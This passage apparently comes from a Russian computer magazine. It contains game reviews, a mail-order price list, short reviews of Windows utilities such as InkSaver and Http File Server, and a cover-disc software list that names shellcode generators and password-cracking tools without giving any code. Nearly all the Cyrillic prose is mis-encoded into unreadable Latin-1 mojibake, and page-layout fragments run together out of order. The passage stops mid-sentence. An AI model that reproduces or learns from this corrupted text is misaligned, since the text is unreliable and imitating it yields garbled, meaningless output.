áîëüíûõ êîðîâ è ïðèêàëûâàåò,<br />

íî ìåíÿ ëè÷íî íåò. Òåì<br />

áîëåå, èãðà ëèøåíà êàêèõ áû òî<br />

íè áûëî îðèãèíàëüíîñòåé, ïðèêîëîâ,<br />

èçþìèíîê. Ñòàðûé äîáðûé<br />

Moorhun âûãëÿäèò êóäà áîëåå<br />

çàìàí÷èâî.<br />

1 2 3 4<br />

88 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Star Trek: Star<strong>fl</strong>eet Command 3<br />

Strategy/sim<br />

SFC 2, Orion Pirates<br />

Taldren/Activision<br />

P2-450(P3-800), 128(256), 3D<br />

LAN, Èíåò<br />

STSC3 - èãðóøêà, ñîâìåñòèâøàÿ â<br />

ñåáå ñòðàòåãèþ è ëåòàëêó. Âñå,<br />

êàê òåïåðü ìîäíî, íà êîñìè÷åñêóþ<br />

òåìó. Â ïîãîíå çà ðàçíîîáðà-<br />

ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />

ÏÐÈÃÎÂÎÐ ËÀÆÀ<br />

Heroeos of Might And Magic:<br />

Wind Of War<br />

Ïîøàãîâàÿ ñòðàòåãèÿ<br />

HoMM 4<br />

New World Computing, 3DO<br />

P3-500 (P4-2GHz), 128 (256), 3D<br />

LAN, Internet, modem, hot-seat<br />

Î÷åðåäíîé àää-îí äëÿ HoMM4.<br />

Íà÷èíêà, êàê âñåãäà, ïðåäñêàçóåìà:<br />

ïàðà íîâûõ ìîíñòðîâ, íåñ-<br />

Tips&Tricks<br />

çèåì æàíðîâ ðàçðàáîò÷èêàì íå<br />

óäàëîñü êà÷åñòâåííî ðåàëèçîâàòü<br />

íè òî, íè äðóãîå.  èòîãå, ïîëó÷èëîñü<br />

íå÷òî íåñåðüåçíîå. Ñèìïàòè÷íàÿ<br />

èãðóøêà íà ëþáèòåëÿ, íî<br />

íå áîëåå. Õîòÿ ïðîãðåññ ïî ñðàâíåíèþ<br />

ñ ïðåäûäóùèìè ÷àñòÿìè<br />

î÷åâèäåí.<br />

êîëüêî àáñîëþòíî òóïûõ êàìïàíèé,<br />

ëèøåííûõ äàæå íàìåêà íà<br />

îðèãèíàëüíîñòü ñþæåòà, è... Âîò<br />

è âñå, â îáùåì-òî. Íè íîâûõ çàìêîâ,<br />

íè íîâûõ ãåðîåâ, íè íîâûõ<br />

àðòåôàêòîâ. Ñëîâîì - õàëòóðà. È<br />

äàæå ñèëüíî ïåðåðàáîòàííûå ðåäàêòîð<br />

êàðò è äâèæîê ñåòåâîé èãðû<br />

íå ñïîñîáíû èñïðàâèòü ïîëîæåíèå.


$ 69,99<br />

Shadowbane<br />

$ 22,99<br />

Command & Conquer:<br />

Generals<br />

$ 39,99<br />

Silent Hill 2<br />

$ 22,99<br />

Anarchy<br />

Online:<br />

Notum Wars<br />

$ 75,99<br />

È Í Ò Å Ð Í Å Ò<br />

(095) 928-6089, (095) 928-0360, (095) 928-3574<br />

Vietcong<br />

Sim City 4<br />

$ 22,99<br />

Tom Clancy's -<br />

Rainbow Six 3:<br />

Raven Shield<br />

$ 75,99<br />

$ 79,99<br />

$ 79,99<br />

Delta<br />

Force:<br />

Black<br />

Hawk<br />

Down<br />

Zanzarah:<br />

The<br />

Hidden<br />

Portal<br />

Tomb Raider:<br />

The Angel of<br />

Darkness<br />

$ 79,99<br />

$ 79,99<br />

Star Wars Galaxies:<br />

An Empire Divided<br />

Neverwinter Nights:<br />

Shadows of Undrentide<br />

$ 25,99<br />

Unreal II:<br />

The Awakening<br />

$ 49,99<br />

Quake III:<br />

Gold Edition<br />

ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ<br />

ÇÀÊÀÇÛ ÏÎ ÈÍÒÅÐÍÅÒÓ — ÊÐÓÃËÎÑÓÒÎ×ÍÎ!<br />

E-MAIL: sales@e-shop.ru<br />

ÇÀÊÀÇÛ ÏÎ ÒÅËÅÔÎÍÓ ÌÎÆÍÎ ÑÄÅËÀÒÜ Ñ 10.00 ÄÎ 21.00 ÁÅÇ ÂÛÕÎÄÍÛÕ<br />

ÒÅËÅÔÎÍÛ: 928-6089, 928-0360, 928-3574<br />

ÌÛ ÏÐÈÍÈÌÀÅÌ ÇÀÊÀÇÛ ÍÀ ËÞÁÛÅ ÀÌÅÐÈÊÀÍÑÊÈÅ ÈÃÐÛ!<br />

$ 69,99<br />

$ 55,99<br />

Ultima<br />

Online: Age<br />

of Shadows<br />

$ 79,99<br />

$ 79,99<br />

The Sims<br />

Online<br />

Freelancer<br />

Dark Age of Camelot:<br />

Gold Edition<br />

$ 79,99<br />

$ 29,99<br />

$ 13,99<br />

(GL) Ôóòáîëêà "Ãîëóáîé<br />

Ýêðàí Ñìåðòè Windows"<br />

ñ ëîãîòèïîì "Õàêåð"<br />

$ 90,99<br />

Grand Theft<br />

Auto: Vice<br />

City -<br />

Soundtrack<br />

Box Set<br />

20th Anniversary<br />

Lucas Arts<br />

Sid Meier's<br />

Civilization III:<br />

Play the<br />

World<br />

$ 79,99<br />

EVE Online: The<br />

Second Genesis<br />

$ 35,99<br />

$ 55,99<br />

(Blizzard)<br />

Warcraft III<br />

Baseball Cap<br />

Star Wars Bounty<br />

Hunter - LI2055<br />

$ 179,99<br />

$ 9,99<br />

Mouse Pad/<br />

Êîâðèê äëÿ<br />

ìûøè<br />

"Îïàñíî äëÿ<br />

æèçíè"


Sony DCR-PC115 E<br />

Digital HandyCam<br />

Ñàóíäòðåê ê èãðå Halo<br />

Final Fantasy XI:<br />

Zippo(R) Lighter<br />

$ 39,99<br />

Sony DCR-IP5E<br />

MICROMV<br />

$ 31,99<br />

$ 1290<br />

$ 1290<br />

(Blizzard) The Art<br />

of Warcraft<br />

Ì À Ã À Ç È Í<br />

(095) 928-6089, (095) 928-0360, (095) 928-3574<br />

HP Jornada 568<br />

$ 399,99<br />

$ 145<br />

Spkrs/ VideoLogic<br />

ZXR-500<br />

Video/ Pinnacle<br />

Systems Studio<br />

PCTV Pro<br />

$ 39,99<br />

Gifts<br />

$ 75<br />

$ 209,99<br />

Jstck/ CH Flight Sim<br />

Yoke USB<br />

$ 789,99<br />

HP iPaq<br />

H5450<br />

mobile computers<br />

�<br />

$ 535,99<br />

$ 95,99<br />

Sony Clie<br />

PEG-NZ90<br />

Super<br />

PDA<br />

$ 830<br />

$ 350<br />

Sony CyberShot Digital<br />

Camera DSC-U20/L<br />

$ 120<br />

Fujitsu-Siemens Pocket<br />

LOOX 600<br />

Sony VCT-680RM<br />

SanDisk<br />

128 MB<br />

CompactFlash<br />

Card<br />

#4(52)<br />

Äà, ß õî÷ó ïîëó÷àòü<br />

ÁÅÑÏËÀÒÍÛÉ ÊÀÒÀËÎÃ E-Shop<br />

Èíäåêñ<br />

Ãîðîä<br />

Óëèöà<br />

Äîì<br />

ÔÈÎ<br />

êîðïóñ<br />

Îòïðàâüòå êóïîí ïî àäðåñó: 101000, Ìîñêâà,<br />

Ãëàâïî÷òàìò, à/ÿ 652, E-Shop<br />

�<br />

êâàðòèðà


ØàðîWAREZ<br />

92<br />

Þíèòû<br />

M.J.Ash (m.j.ash@real.xakep.ru)<br />

InkSaver<br />

v 1.2<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 5003 Kb<br />

Shareware<br />

http://www.inksaver.com<br />

Ïðîãà, ñïîñîáíàÿ çíà÷èòåëüíî ïðîäëèòü ñðîê æèçíè<br />

êàðòðèäæà â òâîåì ñòðóéíîì ïðèíòåðå. Ñïîñîá ýêîíîìèè<br />

– ñòàíäàðòíûé. Ïðèíòåð ïðîñÿò ìåíåå ùåäðî<br />

ðàñõîäîâàòü ÷åðíèëà.  ïðèíöèïå, àíàëîãè÷íîãî ðåçóëüòàòà<br />

ìîæíî äîñòè÷ü, åñëè çàëåçòü â íàñòðîéêè<br />

ïðèíòåðà è âûñòàâèòü òàì, äîïóñòèì, «÷åðíîâîé» ðåæèì<br />

ïå÷àòè âìåñòî «îáû÷íîãî». Ïðîáëåìà â òîì, ÷òî<br />

ÿ, êàê è áîëüøèíñòâî ïîëüçîâàòåëåé, ïîñòîÿííî çàáûâàþ<br />

ïðî ýòè íàñòðîéêè. Ìàññà ÷åðíîâèêîâ, ðàñïå÷àòàííûõ<br />

ñ ìàêñèìàëüíî âîçìîæíûì êà÷åñòâîì, è ñîòíè<br />

âàæíûõ äîêóìåíòîâ, îòïðàâëåííûõ â êîðçèíó äëÿ áóìàã<br />

èç-çà ñâîåé ÷ðåçâû÷àéíîé áëåäíîñòè, ìîãóò ýòî<br />

ïîäòâåðäèòü. Ïðè èñïîëüçîâàíèè æå InkSaver ïîäîáíîé<br />

ïðîáëåìû íå âîçíèêàåò. Äåëî â òîì, ÷òî ýòà ïðîãà<br />

âñåãäà ñïðàøèâàåò òåáÿ, ñ êàêèì êà÷åñòâîì òû õî-<br />

÷åøü ðàñïå÷àòàòü òîò èëè èíîé äîêóìåíò. Òî åñòü ñòîèò<br />

òåáå ÷òî-ëèáî îòïðàâèòü íà ïðèíòåð, êàê îêîøêî<br />

InkSaver ìîìåíòàëüíî âûïðûãèâàåò íà ýêðàí. Çà òàêîå<br />

ïîâåäåíèå îòâå÷àåò îïöèÿ InkSaver Ask Before<br />

Printing, ÷òî íàõîäèòñÿ â ìåíþ íàñòðîéêè ïðîãðàììû<br />

íà âêëàäêå Current Ink Settings tab.<br />

×åì åùå ðàäóåò InkSaver ïîëüçîâàòåëÿ? Òåì, ÷òî ðàñõîä<br />

÷åðíèë (êà÷åñòâî ïå÷àòè) ìîæíî ðåãóëèðîâàòü<br />

ïëàâíî – ñ ïîìîùüþ ïîëçóíêîâ. Ïðè ýòîì îäèí ïîëçóíîê<br />

îòâå÷àåò çà ÷åðíîé êàðòðèäæ, âòîðîé – çà öâåòíîé.<br />

Ñîðèåíòèðîâàòüñÿ, êàê ïîëîæåíèå ïîëçóíêîâ âëèÿåòå<br />

íà êà÷åñòâî ïå÷àòè, ìîæíî ïî òåñòîâîé ñòðàíèöå, êîòîðóþ<br />

ïðîãðàììà ïðåäëàãàåò âûâåñòè íà ïðèíòåð åùå<br />

ïðè óñòàíîâêå. Íó è, åñòåñòâåííî, ïîäîáíàÿ ïðîãà íå<br />

ìîãëà îáîéòèñü áåç âñòðîåííîãî ìåõàíèçìà ïîäñ÷åòà<br />

ñýêîíîìëåííûõ ñ åå ïîìîùüþ äåíåã.<br />

InkSaver çíàêîìà ñ áîëüøèíñòâîì ñòðóéíûõ ïðèíòåðîâ<br />

Epson, HP è Canon. Ïîëíûé ñïèñîê ïîääåðæèâàåìûõ ìîäåëåé<br />

íàõîäèòüñÿ íà îôèöèàëüíîì ñàéòå ïðîãðàììû.<br />

Search Maker Pro v 2.5<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 3129 Kb<br />

Shareware<br />

http://www.searchmakerpro.com<br />

ß ðàíüøå äóìàë, ÷òî áåç<br />

èñïîëüçîâàíèÿ ñêðèïòîâ<br />

îáîðóäîâàòü âåá-ñàéò ïîèñêîâûì<br />

ìåõàíèçìîì íåâîçìîæíî.<br />

ß îøèáàëñÿ.<br />

Îêàçûâàåòñÿ, ñ ïîìîùüþ<br />

ïðîãðàììû Search Maker<br />

Pro ïîèñêîâèê ìîæíî<br />

ïðèñîáà÷èòü ê ëþáîìó<br />

ñàéòó. Ïðè÷åì – áåç îñîáîãî<br />

òðóäà! Äëÿ ýòîãî<br />

äîñòàòî÷íî íàòðàâèòü<br />

Search Maker Pro íà ñâîé<br />

âåá-ñàéò, èëè, ñêàæåì,<br />

íà íàáîð âåá-ñòðàíè÷åê,<br />

ñâàëåííûõ â êàêîì-íèáóäü<br />

êàòàëîãå íà òâîåì<br />

âèí÷å, à çàòåì ïðàâäèâî<br />

îòâå÷àòü íà âîïðîñû Ìàñòåðà.<br />

Åñëè âñå ñäåëàòü<br />

ïðàâèëüíî, òî Search<br />

Maker Pro çàãëîòèò óêàçàííûå<br />

òîáîé âåá-ñòðàíè÷êè,<br />

à çàòåì âûïëþíåò<br />

ãîòîâûé HTML-ôàéë,<br />

âêëþ÷àþùèé â ñåáÿ êàê<br />

ñàì ïîèñêîâèê, òàê è áàçó äàííûõ ê íåìó. Äîñòàòî÷íî ïðèñòðîèòü ýòîò ôàéë íà ñâîé âåá-ñåðâåð, è<br />

âîò óæå ó òåáÿ åñòü ðåàëüíûé ïîèñêîâûé ìåõàíèçì, êîòîðûé ïîíèìàåò çàïðîñû íà ðóññêîì ÿçûêå è<br />

âûäàåò î÷åíü ïðèÿòíûå è ðàçâåðíóòûå îòâåòû. Ïîäîãíàòü åãî äèçàéí ïîä äèçàéí ñâîåãî ñàéòà äëÿ<br />

òåáÿ, ÿ äóìàþ, òðóäà íå ñîñòàâèò. Íó à ïîñêîëüêó ýòîò ïîèñêîâèê áóäåò âûïîëíåí èñêëþ÷èòåëüíî íà<br />

JavaScript, òî îí áóäåò ðàáîòàòü íå òîëüêî íà õàëÿâíîì õîñòèíãå, íî è áóäó÷è çàïèñàííûì íà êîìïàêò-äèñê.<br />

À ÷òî? Ýòî ìûñëü! Òàêèì îáðàçîì îáû÷íûå çàëåæè âåá-ñòðàíèö, áåññèñòåìíî íàäåðãàííûõ<br />

èç Ñåòè äëÿ îôëàéíîâîãî ïðîñìîòðà, ìîæíî ëåãêî ïðåâðàùàòü â ñèìïàòè÷íûå Àðõèâû èëè äàæå<br />

Ýíöèêëîïåäèè.<br />

Http File Server v 1.3 beta<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 270 Kb<br />

Freeware<br />

http://www.rejetto.com/sw<br />

Àñüêà – ìàñò äàé, à &RQ – ðóëåç ôîðåâà!<br />

 ýòîì ëåãêî ìîæåò óáåäèòüñÿ êàæäûé,<br />

êòî ñêà÷àåò ñ www.asechka.ru ðóñèôèöèðîâàííóþ<br />

âåðñèþ RQ’øêè (îáÿçàòåëüíî -<br />

ñ b-zonedesign theme. Ýòî ñêèí òàêîé:).<br />

Íà ìîé âçãëÿä, òîëüêî çà òî, ÷òî ñîîáùåíèÿ<br />

îò ðàçíûõ êîíòàêòîâ ðàçìåùàþòñÿ â<br />

îäíîì îêíå, à ïåðåõîä îò îäíîãî äèàëîãà<br />

ê äðóãîìó îñóùåñòâëÿåòñÿ ùåë÷êîì ïî<br />

íóæíîé çàêëàäêå, ýòîìó êëîíó ìîæíî<br />

ïðîñòèòü âñå, ÷òî óãîäíî. Õîòÿ êîå-÷òî,<br />

ñîãëàñåí, èíîãäà ìåøàåò íàñëàæäàòüñÿ<br />

âèðòóàëüíûì îáùåíèåì. ×àùå âñåãî –<br />

íåâîçìîæíîñòü îáìåíà ôàéëàìè ñ ïîëüçîâàòåëÿìè<br />

îáû÷íîé àñüêè. Êîíå÷íî,<br />

íè÷òî òåáå íå ìåøàåò ïîñëàòü ïðèÿòåëþ<br />

ôàéë ìûëîì, íî òû æå çíàåøü, êàê â íàøè<br />

äíè ðàáîòàåò ïî÷òà (äàæå ýëåêòðîííàÿ).<br />

Íåò, âñå-òàêè õî÷åòñÿ îáìåíèâàòüñÿ ôàéëàìè íàïðÿìóþ. Íî ñòàâèòü ðàäè ýòîãî àñüêó? Íè-çà-÷òî! Ê<br />

òîìó æå ýòà ïðîáëåìà ëåãêî ðåøàåòñÿ ñ ïîìîùüþ Http File Server – åùå îäíîé ðàçðàáîòêè àâòîðà &RQ.<br />

Êîãäà òåáå íóæíî îòäàòü êîìó-íèáóäü ñâîé ôàéë (êîìó óãîäíî: çíàêîìîìó â ÷àòå, äðóãó ïî ïåðåïèñêå,<br />

äðóãîìó ïîëüçîâàòåëþ RQ), òû ïðîñòî çàïóñêàåøü ýòó ïðîãó, ïåðåòàñêèâàåøü â åå îêíî ôàéë(û) è ïàïêè,<br />

êîòîðûå õî÷åøü ñäåëàòü îáùåäîñòóïíûìè, è ñîîáùàåøü ñîáåñåäíèêó ñâîé IP-àäðåñ. Òîò, â ñâîþ î÷åðåäü,<br />

çàïóñêàåò ëþáèìóþ áðîäèëêó, íàáèðàåò â àäðåñíîé ñòðîêå http://òâîé_IP_àäðåñ è âèäèò ñïèñîê<br />

ôàéëîâ, äîñòóïíûõ äëÿ ñêà÷èâàíèÿ (ñàìî ñîáîé, â ýòîì ñïèñêå ïðèñóòñòâóþò ëèøü òå ôàéëû, êîòîðûå òû<br />

ðåøèë ðàñøàðèòü :). Íàäî ëè ãîâîðèòü î òîì, ÷òî, âûáðàâ èíòåðåñóþùèé åãî ôàéë, òâîé ïðèÿòåëü ìîæåò<br />

íàòðàâèòü íà íåãî ëþáèìóþ êà÷àëêó? Äóìàþ, íåò. Ëó÷øå îòìå÷ó, ÷òî îòäàâàòü ôàéëû ÷åðåç Http File<br />

Server ÷ðåçâû÷àéíî ïðèÿòíî: ìîæíî ðàñøàðèòü ñðàçó íåñêîëüêî ôàéëîâ, ê òåáå ìîãóò ïîäêëþ÷èòüñÿ îäíîâðåìåííî<br />

íåñêîëüêî ïîëüçîâàòåëåé. Ïðè ýòîì òû âñåãäà äåðæèøü ñèòóàöèþ ïîä êîíòðîëåì: Http File<br />

Server ïîçâîëÿåò êèêàòü íåïðîøåííûõ âèçèòåðîâ, èêîíêà â òðåå ñèãíàëèçèðóåò î ïîÿâëåíèè ãîñòåé, à â<br />

ñâîåì ãëàâíîì îêíå ïðîãðàììà íàãëÿäíî ïîêàçûâàåò, êòî ê òåáå çàøåë è çà÷åì.


Magic Mail<br />

Monitor v 2.94 b5<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 103 Kb<br />

Freeware<br />

http://mmm3.sourceforge.net<br />

Óòèëèòà äëÿ ìîíèòîðèíãà ïî÷òîâûõ (POP3) ÿùèêîâ. Åäèíñòâåííûé ñåðüåçíûé<br />

êîíêóðåíò SimpleCheck (www.simplecheck.net), ïðè÷åì – áåñïëàòíûé.<br />

Ïðîãà ïîÿâèëàñü íà ñâåò ÷åðò çíàåò êîãäà, íî òîëüêî ñåé÷àñ îíà íàêîíåö-òî<br />

íàó÷èëàñü íîðìàëüíî ïîêàçûâàòü çàãîëîâêè ïèñåì, íàïèñàííûõ â KOI8-R, è<br />

îáçàâåëàñü ïðîñòåíüêîé ñèñòåìîé ôèëüòðîâ.<br />

Magic Mail Monitor ïîääåðæèâàåò íåîãðàíè÷åííîå êîëè÷åñòâî ïî÷òîâûõ àêêàóíòîâ,<br />

ïîçâîëÿåò çàäàâàòü ïåðèîäè÷íîñòü èõ ïðîâåðêè â àâòîìàòè÷åñêîì<br />

ðåæèìå è ïðåäëàãàåò íåñêîëüêî âàðèàíòîâ îïîâåùåíèÿ (çâóêîì, ìèãàíèåì<br />

èêîíêè â ñèñòåìíîì òðåå èëè âñïëûâàþùèì îêîøêîì) î ïîÿâëåíèè ñâåæåé<br />

ïî÷òû. Òåêóùåå ñîñòîÿíèå òâîèõ ïî÷òîâûõ ÿùèêîâ îòîáðàæàåòñÿ â ãëàâíîì<br />

îêíå ïðîãðàììû, ïðè÷åì çàãîëîâêè íåïðî÷èòàííûõ ïèñåì â ýòîì îêíå çàáîòëèâî<br />

âûäåëÿþòñÿ æèðíûì øðèôòîì. Êëèêàÿ ïî ïèñüìàì ïðàâîé êíîïêîé<br />

ìûøè, ìîæíî ÷åðåç êîíòåêñòíîå ìåíþ áûñòðî ïðîñìàòðèâàòü òåêñòîâóþ<br />

÷àñòü ëþáîãî ïî÷òîâîãî ñîîáùåíèÿ è óáèâàòü ñïàì ïðÿìî íà ñåðâåðå.<br />

Âåñèò Magic Mail Monitor äî ñìåøíîãî ìàëî, ê òîìó æå ðàáîòàåò áåç èíñòàëëÿöèè<br />

è ñîâåðøåííî íåòðåáîâàòåëüíà ê ðåñóðñàì. Îäíèì ñëîâîì –<br />

«ïîëåçíÿøêà». Ïðèñìîòðèñü – ìîæåò áûòü, èìåííî åå òåáå äî ñèõ ïîð è<br />

íå õâàòàëî, à?<br />

HTMLSpy v 1.03<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 322 Kb<br />

Shareware<br />

http://www.softexe.com/htmlspy.html<br />

Îðèãèíàëüíàÿ ïðèìî÷êà<br />

ê ìàñòäàéñêîìó<br />

îñëèêó, ñóùåñòâåííî<br />

îáëåã÷àþùàÿ<br />

ïðîöåññ èçó÷åíèÿ<br />

HTML-êîäà ÷óæèõ<br />

âåá-ñòðàíèö. Ê ïðèìåðó,<br />

ñòðàíñòâóåøü<br />

òû ïî Ñåòè, è âäðóã<br />

íà îäíîì èç ñàéòîâ<br />

òâîå âíèìàíèå ïðèâëåêàåò<br />

êàêîé-íèáóäü<br />

íåîáû÷íûé ýëåìåíò<br />

âåá-ñòðàíèöû. Áåç<br />

HTMLSpy òåáå ïðèäåòñÿ<br />

ìèíóò äåñÿòü<br />

ðûòüñÿ â èñõîäíèêàõ,<br />

÷òîáû âûÿâèòü òîò êóñîê<br />

êîäà, êîòîðûé<br />

ýòîìó ýëåìåíòó ñîîòâåòñòâóåò. Ñ HTMLSpy âñå ãîðàçäî ïðîùå: äîñòàòî÷íî<br />

ùåëêíóòü ïðàâîé êíîïêîé ìûøè ïî ýòîìó ýëåìåíòó, âûáðàòü â êîíòåêñòíîì<br />

ìåíþ ïóíêò «HTMLSpy», è íà ýêðàíå òóò æå ïîÿâèòñÿ ñïåöèàëüíîå<br />

îêîøêî ñ èñõîäíûì òåêñòîì ïîäîïûòíîé âåá-ñòðàíè÷êè, â êîòîðîì ôðàãìåíò<br />

êîäà íà ýëåìåíò ñòðàíèöû, óêàçàííûé êóðñîðîì ìûøè, áóäåò ñòàðàòåëüíî<br />

âûäåëåí! Äàëåå ýòîò ôðàãìåíò ìîæíî íå ñïåøà èçó÷àòü, ñîõðàíèòü<br />

íà áóäóùåå (Save selected) èëè, òàê íè÷åãî è íå ïîíÿâ, ñêèíóòü íà<br />

äèñê âñþ ñòðàíè÷êó öåëèêîì.


ØàðîWAREZ<br />

94<br />

Þíèòû<br />

M.J.Ash (www.xknows.com, m.j.ash@real.xakep.ru)<br />

Evolution 1.2.4<br />

Opera for Linux 7.0 PR 2<br />

avp for Linux<br />

WorkStation 4.0<br />

Shell-codes<br />

and generators<br />

Packit 0.5.0b<br />

ÑÎÔÒ<br />

ÌÓÇÛÊÀ<br />

Rave Energy Vault / [DLC]team<br />

Away / Rand / SandS<br />

Le Chemin Mauve / Med / Jecoute<br />

ÄÅÌÊÈ<br />

Vapaa Valinta / Matt Current<br />

Red Line / Equinoxe<br />

El Bourrrinos / MARSHALS<br />

SpyStopper 2.45<br />

PagePromoter 5.2<br />

Zero Spam 3.0<br />

Getright 5.0<br />

XviD 30-03-2003<br />

FineCrosser 1.0.4.147 Free<br />

SecureIt Pro 4.70<br />

WinGuard Pro Free 5.2.1<br />

LockIt! 2000 RC1<br />

Protect Exe 0.4 beta<br />

Security Administrator 9.3<br />

LAN Supervisor 2.6.0<br />

ExeLock Express 1.01<br />

StealthDisk 3.5<br />

Hide Files 2.3<br />

ORiEN 1.03<br />

WinRollBack PRIVATE 1.0 + SP1<br />

Folder Guard Professional 5.5<br />

Net Block Pro RE 1.33<br />

Easy CD-DA Extractor 5.07<br />

Windows Media Player 9 RUS<br />

Windows Media Encoder 9 RUS<br />

Jasc Paint Shop Pro 7.04<br />

Of<strong>fl</strong>ine Explorer Enterprise 2.7 SR3<br />

Serv-U 4.1.0.3<br />

ATI Multimedia Center 8.1<br />

Âèçèòêà 1.01<br />

CoolProxy 1.3.0.201<br />

Windows Application Compatibility<br />

Toolkit 2.6<br />

Q815411_WXP_SP2<br />

InkSaver 1.2<br />

AVCataloger 3.0<br />

TexNotes 3.2<br />

Http File Server 1.3 beta<br />

Magic Mail Monitor 2.94 b5<br />

Imatch 3.2<br />

Search Maker Pro 2.5<br />

HTMLSpy 1.03<br />

Desktop Wallpaper Calendar 3.0<br />

Folder Guard 5.5<br />

NMI's Java Code Viewer 6.0<br />

Whisper32 1.14<br />

PINs 4.20<br />

Personal Passworder 3.4<br />

Password Agent 2.2.1<br />

ListTV<br />

TVAgent<br />

TVGuide<br />

"ÒÂ ïðîãðàììà"<br />

WinLIRC<br />

BSPlayer<br />

Remote Control<br />

Girder<br />

IREX<br />

PC Remote Control<br />

SlyControl<br />

X-Ray<br />

POP3 Catcher<br />

Advanced Email Parser<br />

DES 2.67<br />

SiemensDataSuit 1.0<br />

Siemens emulators<br />

Internet Security 5.0<br />

McAfee Firewall 4.0<br />

TCPView 2.31<br />

IE'en 0.5.0<br />

NTPower 3.8<br />

IP-Tools 2.20<br />

Eraser 5.6<br />

Virtual Network Computing 3.3.7<br />

Cain & Abel v2.5beta29<br />

Ping Plotter 2.40<br />

TracePlus Win32 3.06.001<br />

Stunnel 4.04<br />

LaBrea 2.4b3<br />

L0phtCrack+ 4.00<br />

FineCrypt 8.1<br />

Desktop Wallpaper<br />

Calendar v 3.0<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 3011 Kb<br />

Shareware<br />

http://www.zepsoft.com/wallcal<br />

VER 04.03 (52)<br />

TRASH<br />

Êîìïîíåíòû Delphi è C++ Builder<br />

Ñîðöû ïðîã èç Êîäèíãà<br />

Legion of the Bouncy Castle Java<br />

Cryptography API 1.18<br />

cBigNumber v. 1.0<br />

X-Wallpapers<br />

Ñïðàâî÷íèê ïî ðååñòðó Windows<br />

HTML â ïðèìåðàõ<br />

Íàðîäíûå ñîâåòû<br />

Config Master 3.0<br />

Ìîé ëþáèìûé íàñòîëüíûé êàëåíäàðü. Ðàíåå áûë øèðîêî èçâåñòåí â óçêèõ êðóãàõ ïîä íàçâàíèåì<br />

Acidude Wallpaper Calendar. Ïîòîì, ïðàâäà, ïðîãà êàê-òî âíåçàïíî ñìåíèëà è èìÿ, è àäðåñ, òàê<br />

÷òî ÿ íà êàêîå-òî âðåìÿ äàæå ïîòåðÿë åå èç âèäó. Íó à êîãäà íàøåë, âûÿñíèëîñü, ÷òî ïðîãà óñïåëà<br />

ñåðüåçíî îáíîâèòüñÿ. Íî ãëàâíîå, ñàìî ñîáîé, îñòàëîñü íåèçìåííûì. Desktop Wallpaper<br />

Calendar ïî-ïðåæíåìó çàíèìàåòñÿ íàëîæåíèåì ïîëóïðîçðà÷íîãî êàëåíäàðÿ íà ìåñÿö (íåäåëþ)<br />

íà òâîè ëþáèìûå îáîè. Òî÷íåå, îíà âïå÷àòûâàåò êàëåíäàðü ïðÿìî â íèõ, ïîñêîëüêó ïðîãó ìîæíî<br />

çàêðûòü, à èçîáðàæåíèå íà ýêðàíå îò ýòîãî íå èçìåíèòñÿ. Åñòåñòâåííî, âíåøíèé âèä, ðàçìåðû è<br />

ñòåïåíü ïðîçðà÷íîñòè ýòîãî êàëåíäàðÿ ìîæíî ìåíÿòü â øèðîêèõ ïðåäåëàõ. Òàêæå ïðîãðàììà ïîçâîëÿåò<br />

ïîëüçîâàòåëþ âïèñûâàòü òåêñòû-íàïîìèíàíèÿ â ëþáóþ ÿ÷åéêó (ïîïðîáóé-êà êëèêíóòü ïî<br />

íóæíîé äàòå òðè ðàçà!) è âûäåëÿòü ïðàçäíè÷íûå äíè. Ïîìèìî âñåãî ýòîãî, Wallpaper Calendar<br />

óìååò ñ çàäàííûì èíòåðâàëîì ìåíÿòü ôîíîâóþ êàðòèíêó (îáîè), ðàñòÿãèâàÿ åå, åñëè íåîáõîäèìî,<br />

íà âåñü ýêðàí è íàêëàäûâàÿ íà íåå ðÿä ýôôåêòîâ äëÿ ñîõðàíåíèÿ åäèíîãî ñòèëÿ. Â ðåçóëüòàòå<br />

íà ìîíèòîðå âîçíèêàåò çðåëèùå îøåëîìëÿþùåé êðàñîòû. Òåì, êòî Desktop Wallpaper Calendar<br />

åùå íå âèäåë, - êà÷àòü îäíîçíà÷íî! Òåì, êòî äî ñèõ ïîð þçàåò ñòàðóþ âåðñèþ, - òåì áîëåå.<br />

ÄÐÀÉÂÅÐÀ<br />

VER 04.03 (52)<br />

Logitech<br />

NVIDIA<br />

Broadcom<br />

Analog Devices<br />

Realtek<br />

SiS<br />

ÞÍÈÊÑ<br />

ßäðà 2.5.66, 2.2.25<br />

Winex<br />

XPde 0.3.0<br />

Gammu 0.68<br />

Linux Security Auditing Tool 0.6.4<br />

Nautilus 2.2.2<br />

AVCataloger<br />

v 3.0<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 17611 Kb<br />

Shareware<br />

http://www.nc-software.com<br />

 ìàðòå ìû ðàññìàòðèâàëè íåñêîëüêî ïðîãðàìì, êîòîðûì ìîæíî<br />

áûëî áû äîâåðèòü âåäåíèå äîìàøíåé ôèëüìîòåêè. Åñëè òû ýòîò<br />

íîìåð ïî÷åìó-òî ïðîïóñòèë, íàïîìíþ, ÷òî ðå÷ü òîãäà øëà îá «óìíîì»<br />

ñîôòå, ñïîñîáíîì ñàìîñòîÿòåëüíî ñêà÷èâàòü èç Ñåòè èíôîðìàöèþ<br />

îá èìåþùèõñÿ ó òåáÿ ôèëüìàõ. Ïîñêîëüêó íà ìîåé ìàøèíå<br />

ôèëüìàìè çàíÿòî ìåãàáàéò âîñåìüäåñÿò, íàëè÷èå ïðîãðàìì ñ<br />

òàêèìè ñïîñîáíîñòÿìè ïðèâîäèò ìåíÿ â ïîëíûé âîñòîðã. Áîëåå<br />

òîãî, ÿ äî ñèõ ïîð íèêàê íå ìîãó ðåøèòü, ÷òî ìíå áîëüøå íðàâèòñÿ:<br />

